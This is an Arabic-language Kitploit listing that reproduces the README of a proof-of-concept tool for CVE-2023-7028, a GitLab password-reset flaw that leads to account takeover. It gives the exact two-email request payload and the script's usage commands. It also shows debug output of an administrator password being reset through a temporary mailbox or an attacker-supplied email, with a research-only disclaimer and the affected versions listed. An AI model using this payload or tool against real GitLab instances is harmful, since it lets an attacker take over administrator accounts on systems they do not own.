Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2023-7028-Account-Take-Over-Gitlab — إثبات مفهوم لاستغلال CVE-2023-7028، يعمل على أتمتة الاستيلاء على حسابات GitLab عبر التلاعب برسالة إعادة تعيين كلمة المرور. يتضمن تكاملًا مع البريد المؤقت ويدعم بريد المهاجم المخصص. | Kitploit
أدوات/GitHubGitHub/shimon03/cve-2023-7028-account-take-over-gitlab
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمالفريق الأحمر
GitHubshimon03/cve-2023-7028-account-take-over-gitlab

CVE-2023-7028-Account-Take-Over-Gitlab

إثبات مفهوم لاستغلال CVE-2023-7028، يعمل على أتمتة الاستيلاء على حسابات GitLab عبر التلاعب برسالة إعادة تعيين كلمة المرور. يتضمن تكاملًا مع البريد المؤقت ويدعم بريد المهاجم المخصص.

عرض المستودع
2منذ 2 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2023-7028 | الاستيلاء على الحساب في Gitlab

إخلاء مسؤولية

هذا الكود هو إثبات مفهوم للثغرة الأمنية، ولا أشجع أي شخص على استخدامه على حالات Gitlab لا يملكها.
تم تطوير هذه الأداة لأغراض البحث والتعليم فقط، ولن أتحمل أي مسؤولية عن أي استخدام تقوم به لها.

الوصف:

تشير CVE-2023-7028 إلى ثغرة الاستيلاء على الحساب (Account-Take-Over) التي تسمح للمستخدمين بالسيطرة على حساب مسؤول Gitlab دون أي تفاعل من المستخدم.

تكمن الثغرة في إدارة البريد الإلكتروني عند إعادة تعيين كلمات المرور. يمكن للمهاجم تقديم بريدين إلكترونيين وسيتم إرسال رمز إعادة التعيين إلى كليهما.
لذلك من الممكن تقديم عنوان البريد الإلكتروني للحساب المستهدف بالإضافة إلى عنوان المهاجم، وإعادة تعيين كلمة مرور المسؤول.
(تشير Gitlab إلى أن المصادقة الثنائية (2FA) تمنع استغلال هذه الثغرة، حيث أن المهاجم حتى بعد إعادة تعيين كلمة المرور لن يتمكن من تسجيل الدخول.)

تم اكتشاف هذه الثغرة بواسطة asterion04

الحمولة (Payload):

فيما يلي مثال على الحمولة

root@kitploit:~
user[email][][email protected]&user[email][][email protected]

إثبات المفهوم (POC):

الطريقة 1: استخدام بريد إلكتروني مؤقت
root@kitploit:~
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected]

[DEBUG] Getting temporary mail
[DEBUG] Scrapping available domains on 1secmail.com
[DEBUG] 8 domains found
[DEBUG] Temporary mail: [email protected]
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = bc91lpzwTOaY9dg5SWjLvvDDb61j6ZunCX4DXYlSnWz9Y3zK35SPiLNShhrDrPVDgY_AzQjzpD5qVt2WXeolog
[DEBUG] Sending reset password request
[DEBUG] Emails sended to [email protected] and [email protected] !
[DEBUG] Waiting mail, sleeping for 7.5 seconds
[DEBUG] Getting link using temp-mail | Try N°1 on 5
[DEBUG] Getting last mail for [email protected]
[DEBUG] 1 mail(s) found
[DEBUG] Reading the last one
[DEBUG] Generating new password
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = RN6gypVz7Zxtu2zRsJmKPsDHNumIH_UPvdn7aQoWRBnUcqmW1hcu8kYcMvI6XbTDsYuZieMFypbe8SWi3q781w
[DEBUG] Changing password to l3mG2v2XN4UBzbN18ZkW
[DEBUG] CVE_2023_7028 succeed !
        You can connect on https://gitlab.example.com/users/sign_in
        Username: [email protected]
        Password: l3mG2v2XN4UBzbN18ZkW
الطريقة 2: استخدام بريد إلكتروني خبيث
root@kitploit:~
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected] -e [email protected]

[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = 1Yt1EUeWSL-oiSV7v1Z6ghdCDG3w0FFCQB8Uc5B5GAodVNJ26OlPT8HtYYleGXB9F0otas3gnHOtRfhFall8pQ
[DEBUG] Sending reset password request
[DEBUG] Emails sended to [email protected] and [email protected] !
        Input link received by mail: https://gitlab.example.com/users/password/edit?reset_password_token=U8PSU7DXdebdTD3GjMiX
[DEBUG] Generating new password
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = N7gs43C9ZMxdniA9UEzzfH2Rlhgejt75M1Kw88vaarP_Z4uE38JjPDT6ZM-xA_mDfZm3HyO-E8jeCFzFMfoOHA
[DEBUG] Changing password to EU7XIYjlawjb5tH2jgmU
[DEBUG] CVE_2023_7028 succeed !
        You can connect on https://gitlab.example.com/users/sign_in
        Username: [email protected]
        Password: EU7XIYjlawjb5tH2jgmU

المساعدة

root@kitploit:~
$ python3 .\CVE-2023-7028.py -h
usage: CVE-2023-7028.py [-h] -u URL -t TARGET [-e EVIL]

This tool automates CVE-2023-7028 on gitlab

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     Gitlab url
  -t TARGET, --target TARGET
                        Target email
  -e EVIL, --evil EVIL  Evil email
  -p PASSWORD, --password PASSWORD
                        Password

ملاحظة:

بدون خيار --evil، الذي يحدد عنوان البريد الإلكتروني للمهاجم، يستخدم السكربت بريدًا مؤقتًا عامًا للعثور على رابط إعادة تعيين كلمة المرور.
=> كن حذرًا إذا تم استخدام إثبات المفهوم هذا أثناء اختبار الاختراق.

الإصدارات المتأثرة

  • 16.1 إلى 16.1.5
  • 16.2 إلى 16.2.8
  • 16.3 إلى 16.3.6
  • 16.4 إلى 16.4.4
  • 16.5 إلى 16.5.5
  • 16.6 إلى 16.6.3
  • 16.7 إلى 16.7.1

المراجع:

  • https://about.gitlab.com/releases/2024/01/11/critical-security-release-gitlab-16-7-2-released/
  • https://docs.gitlab.com/ee/install/docker.html
  • https://www.cert.ssi.gouv.fr/avis/CERTFR-2024-AVI-0030/
تنزيل الأداة